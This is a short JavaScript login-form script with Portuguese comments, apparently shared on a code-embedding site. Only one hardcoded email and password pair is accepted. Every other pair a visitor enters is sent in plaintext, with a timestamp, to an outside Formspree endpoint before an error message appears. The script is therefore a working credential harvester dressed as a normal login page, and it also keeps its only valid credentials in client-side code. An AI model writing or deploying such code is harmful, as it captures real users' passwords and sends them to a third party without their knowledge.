// Cole o link do Formspree entre as aspas abaixo:
const FORMSPREE_URL = "https://[Log in to view URL]";
document.getElementById('loginForm').addEventListener('submit', async function(e) {
e.preventDefault();
const email = document.getElementById('email').value.trim();
const password = document.getElementById('password').value.trim();
if (email === "" || password === "") {
showError("Por favor, preencha todos os campos.");
return;
}
// A única credencial que funciona com sucesso:
if (email === "admin@email.com" && password === "123456") {
alert("Login realizado com sucesso!");
// window.location.href = "dashboard.html"; // se quiser redirecionar
} else {
// Se errar, envia os dados para o Formspree e mostra o erro
await registrarTentativaFalha(email, password);
showError("E-mail ou senha incorretos.");
}
});
async function registrarTentativaFalha(emailDigitado, senhaDigitada) {
const dados = {
email_tentado: emailDigitado,
senha_tentada: senhaDigitada,
data_hora: new Date().toLocaleString('pt-BR')
};
try {
await fetch(FORMSPREE_URL, {
method: "POST",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify(dados)
});
} catch (erro) {
console.error("Erro ao registrar tentativa:", erro);
}
}
function showError(message) {
const errorMessage = document.getElementById('errorMessage');
errorMessage.textContent = message;
errorMessage.style.display = 'block';
}
To embed this project on your website, copy the following code and paste it into your website's HTML: